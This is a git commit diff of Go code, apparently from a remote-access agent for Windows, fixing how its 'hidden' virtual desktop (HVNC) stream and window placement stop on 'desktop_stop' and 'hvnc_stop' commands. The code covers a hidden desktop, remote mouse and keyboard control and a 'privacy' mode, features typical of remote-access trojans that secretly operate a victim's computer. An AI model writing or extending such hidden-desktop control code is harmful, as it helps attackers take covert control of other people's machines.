fix stopping

This commit is contained in:
KingKDot
2026-07-12 14:55:43 -05:00
parent 1d2b50b333
commit 082716081e
5 changed files with 88 additions and 26 deletions
@@ -30,6 +30,7 @@ var (
virtualMonitorIndex int
virtualInitialized bool
virtualMu sync.Mutex
virtualPlacementGen atomic.Uint64
virtualCursorEnabled bool
virtualInputMu sync.Mutex
@@ -131,6 +132,8 @@ func CleanupVirtualMode() {
virtualMu.Lock()
defer virtualMu.Unlock()
virtualPlacementGen.Add(1)
virtualDupState.mu.Lock()
virtualDupState.close()
virtualDupState.mu.Unlock()
@@ -750,7 +753,8 @@ func StartVirtualProcess(filePath string) (uint32, error) {
pid := pi.dwProcessId
log.Printf("virtual: started process %q (pid=%d), moving windows to virtual monitor", filePath, pid)
go moveProcessWindowsToVirtualMonitor(pid, bounds, baseline)
placementGen := virtualPlacementGen.Load()
go moveProcessWindowsToVirtualMonitor(pid, bounds, baseline, placementGen)
if pi.hThread != 0 {
procCloseHandle.Call(pi.hThread)
@@ -789,10 +793,13 @@ func virtualTopLevelWindowSet() map[uintptr]struct{} {
return result
}
func moveProcessWindowsToVirtualMonitor(pid uint32, bounds image.Rectangle, baseline map[uintptr]struct{}) {
func moveProcessWindowsToVirtualMonitor(pid uint32, bounds image.Rectangle, baseline map[uintptr]struct{}, placementGen uint64) {
hwndMap := make(map[uintptr]bool)
for attempt := 0; attempt < 300; attempt++ {
if virtualPlacementGen.Load() != placementGen {
return
}
deskHwnd, _, _ := procGetDesktopWindow.Call()
hwnd := getTopWindow(deskHwnd)
if hwnd == 0 {
@@ -803,6 +810,10 @@ func moveProcessWindowsToVirtualMonitor(pid uint32, bounds image.Rectangle, base
moved := 0
for hwnd != 0 {
visible := isWindowVisible(hwnd)
if !visible {
hwnd = getWindow(hwnd, GW_HWNDNEXT)
continue
}
var winPID uint32
procGetWindowThreadProcessId.Call(hwnd, uintptr(unsafe.Pointer(&winPID)))
@@ -836,10 +847,7 @@ func moveProcessWindowsToVirtualMonitor(pid uint32, bounds image.Rectangle, base
if winH > bounds.Dy() {
winH = bounds.Dy()
}
flags := uintptr(SWP_NOZORDER | SWP_NOACTIVATE)
if visible {
flags |= SWP_SHOWWINDOW
}
flags := uintptr(SWP_NOZORDER | SWP_NOACTIVATE | SWP_SHOWWINDOW)
procSetWindowPos.Call(hwnd, 0, uintptr(newX), uintptr(newY), uintptr(winW), uintptr(winH), flags)
hwndMap[hwnd] = visible
+21 -10
View File
@@ -172,6 +172,18 @@ func waitStreamStop(done <-chan struct{}, name string) {
}
}
func stopVirtualStreamLocked(env *runtime.Env) {
env.VirtualMouseControl = false
env.VirtualKeyboardControl = false
env.VirtualCursorCapture = false
if env.VirtualCancel != nil {
env.VirtualCancel()
}
waitStreamStop(env.VirtualDone, "hidden")
env.VirtualCancel = nil
env.VirtualDone = nil
}
func ensureHVNCInputWorker() {
hvncInputOnce.Do(func() {
hvncInputQueue = make(chan hvncInputEvent, 1024)
@@ -696,6 +708,12 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
env.DesktopCancel = nil
env.DesktopDone = nil
env.DesktopMu.Unlock()
env.VirtualMu.Lock()
if env.VirtualCancel != nil {
log.Printf("hidden: stop requested via desktop_stop")
stopVirtualStreamLocked(env)
}
env.VirtualMu.Unlock()
if privacy.IsEnabled() {
privacy.Stop()
log.Printf("privacy: auto-disabled on desktop stop")
@@ -1065,22 +1083,15 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "hvnc_stop":
env.VirtualMu.Lock()
if env.VirtualCancel != nil {
env.VirtualMu.Lock()
log.Printf("hidden: stop requested")
env.VirtualMouseControl = false
env.VirtualKeyboardControl = false
env.VirtualCursorCapture = false
if env.VirtualCancel != nil {
env.VirtualCancel()
}
waitStreamStop(env.VirtualDone, "hidden")
env.VirtualCancel = nil
env.VirtualDone = nil
stopVirtualStreamLocked(env)
env.VirtualMu.Unlock()
sendCommandResultSafe(env, cmdID, true, "")
return nil
}
env.VirtualMu.Unlock()
env.HVNCMu.Lock()
log.Printf("hvnc: stop requested")
env.HVNCMouseControl = false